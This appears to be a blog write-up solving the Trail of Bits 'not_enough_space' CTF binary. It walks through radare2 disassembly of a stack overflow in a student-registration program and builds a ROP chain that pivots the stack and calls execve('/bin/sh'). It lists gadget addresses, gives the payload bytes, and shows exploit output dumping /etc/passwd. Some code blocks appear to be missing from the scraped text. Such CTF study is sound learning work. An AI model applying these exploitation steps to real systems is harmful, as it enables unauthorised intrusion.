Trail of Bits released a number of CTF challeleges on Github.
This post is about the
not_enough_space binary exploitation challenge.
space challenge is found in the
ctf/exploits/binary2_workshop/not_enough_space/ directory. It contains a single binary (
space) and a wrapper script for socat (
host.sh) and no source code.
There is no inherent networking ability in the binary, we can run it from the command line like this:
† ./space Welcome to New Student Registration! Please fill out the following information Student name: Student ID number: Current GPA: Desired Major: Type YES to verify that all information is correct: YES Information Recorded
get_info function is responsible for giving us this menu and processing our input.
[0x08048df8]> pdf @ sym.get_info / (fcn) sym.get_info 485 | sym.get_info (); | ; var int local_20h @ ebp-0x20 | ; var int local_1ch @ ebp-0x1c | ; var int local_4h @ esp+0x4 | ; var int local_8h @ esp+0x8
This function allocates some memory on the heap with
malloc and uses
fgets to read the first 4 pieces of user input into it (Student name, Student ID number, Current GPA, Desired Major). This structure is important later on but for now all we need to check is that all the bounds checking is ok (it is).
Unfortunately the final input (“YES”), is read onto the stack and does not do bounds checking correctly. A new developer bolting this confirmation feature onto the code at a later date is a plausible explanation for how a bug like this can happen.
Here is the final
| 0x0804904d a1c4f40e08 mov eax, dword obj.stdin | 0x08049052 89c2 mov edx, eax | 0x08049054 8b45e4 mov eax, dword [local_1ch] ; length | 0x08049057 89542408 mov dword [local_8h], edx ; stdin | 0x0804905b 89442404 mov dword [local_4h], eax ; length | 0x0804905f 8d45e0 lea eax, [local_20h] ; buffer | 0x08049062 890424 mov dword [esp], eax ; buffer | 0x08049065 e8660f0000 call sym.fgets
This is how the length (
local_1ch) is calculated:
| 0x08048ed6 83ec2c sub esp, 0x2c | 0x08048ed9 89e8 mov eax, ebp | 0x08048edb 89c2 mov edx, eax | 0x08048edd 8d45e0 lea eax, [local_20h] | 0x08048ee0 89d1 mov ecx, edx | 0x08048ee2 29c1 sub ecx, eax | 0x08048ee4 89c8 mov eax, ecx | 0x08048ee6 83c009 add eax, 9 | 0x08048ee9 8945e4 mov dword [local_1ch], eax
So the buffer (
local_20h) is 0x20 bytes away from ebp and for some reason 9 is added to make the length value used in fgets (
local_1ch) equal to 0x29. It seems that if we actually supply 0x29 bytes to this fgets call, we should be able to overflow the return address of this function (but probably not much else).
The code will only check that the first 3 bytes equal ‘Y’, ‘E’ and ‘S’. The other 0x26 can be anything we want (except
0x0a the delimiter for
fgets), which is helpful from an attacker’s perspective. It is important that this check for “YES” does pass though because if it doesn’t, the program will print “Connect again to retry” and exit right away.
| 0x0804906a 8d45e0 lea eax, [local_20h] | 0x0804906d ba515a0c08 mov edx, 0x80c5a51 ; "YES" | 0x08049072 b903000000 mov ecx, 3 | 0x08049077 89d6 mov esi, edx | 0x08049079 89c7 mov edi, eax | 0x0804907b f3a6 repe cmpsb byte [esi], byte ptr es:[edi] | 0x0804907d 0f97c2 seta dl | 0x08049080 0f92c0 setb al | 0x08049083 89d1 mov ecx, edx | 0x08049085 28c1 sub cl, al | 0x08049087 89c8 mov eax, ecx | 0x08049089 0fbec0 movsx eax, al | 0x0804908c 85c0 test eax, eax | ,=< 0x0804908e 750d jne 0x804909d ... | `-> 0x0804909d c70424555a0c. mov dword [esp], str.Connect_again_to_retry | 0x080490a4 e817150000 call sym.puts ; int puts(const char *s) | 0x080490a9 c70424010000. mov dword [esp], 1 \ 0x080490b0 e8bb090000 call sym.exit ; void exit(int status)
We’ll use the old alphabet trick from the Shellcoder’s Handbook (
perl -e 'print "a".."z"') to get an idea of which parts of our input corrupt which parts of the application.
And here is the output:
[+] stacktrace 0 0x4b4a4948 sp: 0x0 0 [??] eip ebp+67372036 1 0x8048e19 sp: 0xffb72dac 204 [??] entry0+33 2 0x80490b5 sp: 0xffb72db0 4 [??] main sym.get_info+485 [+] registers eax = 0x09b1d308 ebx = 0x75747372 ecx = 0x080c5a00 edx = 0x080c5a00 esi = 0x79787776 edi = 0x4342417a esp = 0xffb72ce0 ebp = 0x47464544 eip = 0x4b4a4948 eflags = 0x00010286 oeax = 0xffffffff
The fact that the instruction pointer became “HIJK” is a good sign. This means we managed to overwrite the return address. Let’s modify the r2 thread to breakpoint before
get_info returns and print the stack:
The output looks like this:
ebp = 0xfffa3cd8 +------------------------------------+ | ebp + 0xc arg2 | 0x00000003 | | ebp + 0x8 arg1 | 0x080dec00 | | ebp + 0x4 saved eip | 0x4b4a4948 | | ebp + 0x0 saved ebp | 0x47464544 | | ebp - 0x4 | 0x4342417a | | ebp - 0x8 | 0x79787776 | | ebp - 0xc | 0x75747372 | +------------------------------------+
As you can see, we only have enough space to overwrite the return address (saved eip) and nothing more. So even if this was a dynamically linked application, we don’t have space to setup arguments to do a return to libc attack. Although we can dump 0x26 bytes of anything we want onto the stack, the stack is not executable, so we can’t insert shellcode and execute it.
[0x08048df8]> iI arch x86 ... nx true ... static true ...
This arbitrary data we can place on the stack can be used for a rop chain though. There does not appear to be a flag present so lets aim for a shell instead.
execve systemcall number is
/usr/include/asm/unistd_32.h), first argument is a pointer to a nul terminated string holding the path to the executable we wish to run and the other 2 arguments (command line arguments and environmental variables) can be null.
So our goal is to execute code equivalent to the following, by stitching together pieces of code already present in the binary (called gadgets).
edx = 0 ; <-- pointer to environmental variables (NULL) ecx = 0 ; <-- pointer to command line arguments (NULL) ebx = "/bin/sh" ; <-- pointer to executable to run eax = 0xb ; <-- execve system call number int 0x80
But before that, we need to change esp to point lower down on the stack to where our rop chain will be. Even though I found a neat gadget to do this (
0x0806a6e3), I couldn’t figure out how to fit the rest of the rop chain in the remaining space. Perhaps this is the reason the challenge is called not enough space. But we also have full control of the heap allocated struct where the student name, id, gdp etc. went. That will be more than enough space to hold our rop chain.
So the first step is to pivot the stack to the student object. Lucky for the attacker, a pointer to this object is returned from the
get_info function and therefor is ready and waiting for us in the
r2 has a neat gadget search function. With a little imagination and trial and effort (and a copy of the Intel manual), we can find what we need.
[0x08048df8]> "/R xchg eax, esp;ret" 0x080dbf59 94 xchg eax, esp 0x080dbf5a c3 ret
Setting the values of
eax is straightforward because they are all immediate values (
0xb respectively). If we cannot find gadgets to set the value we need we can always just pop from the new “stack” we control.
0x080bcc9c 31c0 xor eax, eax 0x080bcc9e c3 ret 0x08088732 83c00b add eax, 0xb 0x08088735 5f pop edi 0x08088736 c3 ret
ecx to anything we want.
0x0805fbea 5a pop edx 0x0805fbeb c3 ret 0x080e68da 59 pop ecx 0x080e68db c3 ret
ebx is more complicated, because we need to store the string
/bin/sh\0 somewhere in memory and then set
ebx to this memory location. An important thing to keep in mind is that immediately after the stack pivot, not only is
esp now pointing to the student object but
eax is pointing to the original stack. So one approach would be to put our string on the original stack and then add
eax and the correct offset to
Here are some gadgets to achieve this. We can pop the offset into
ebx and then add
eax to it.
0x0805bbf1 5b pop ebx 0x0805bbf2 c3 ret 0x0805cfe2 01c3 add ebx, eax 0x0805cfe4 8db600000000 lea esi, [esi] 0x0805cfea 8dbf00000000 lea edi, [edi] 0x0805cff0 8d4202 lea eax, [edx + 2] 0x0805cff3 c3 ret
If we put our “/bin/sh\0” string right before the return address on the stack, then our offset for the old
esp will be -12 (3 words); -4 bytes to jump back to the return address and -8 words to jump to the beginning of the 8 byte string.
For our final exploit, there are two inputs we need to craft, the first is the initial overflow of the “YES” confirmation, and the second is the student object. The first will overwrite the return address of the function and hold our “/bin/sh\0” string. The second will hold our rop chain.
Our overflow string looks like this
Our new “stack” looks like this
The sigils make the variables global in Ruby, this lets me keep them in a separate file for clarity and reuse them in different scripts to make it easier to try different approaches at the same time.
We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.
We can feed our exploit string and new stack into stdin of the
space binary or
netcat. Note that stdin, and stdout are buffered and fully independent. We don’t need to read the menu options from stdout before we feed our answers into stdin. We don’t need to read stdout at all.
To make our shell interactive, it does not seem like Ruby has a ready made
interact function, but we can implement it ourselves in a few lines of code. We basically just need to
select(2) on stdin of the script and stdout of
netcat and shuffle data from one world to the other.
Here is example output from our exploit script:
† ruby space_exp.rb [+] main setting Student name "\xF1\xBB\x05\b\xF4\xFF\xFF\xFF\xE2\xCF\x05\b\xDAh\x0E\b\x00\x00\x00\x00\xEA\xFB\x05\b\x00\x00\x00\x00\x9C\xCC\v\b2\x87\b\b\x00\x00\x00\x00\x99\x96\x04\b\x01%\x00\x00" [+] main setting Student ID number to a [+] main setting Current GPA to a [+] main setting Desired Major to a [+] main sending YES + exploit string "aaaaaaaaaaaaaaaaaaaaaaaaa/bin/sh\x00Y\xBF\r\b" Welcome to New Student Registration! Please fill out the following information Student name: Student ID number: Current GPA: head /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt news:x:9:13:news:/var/spool/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
Here is the full script: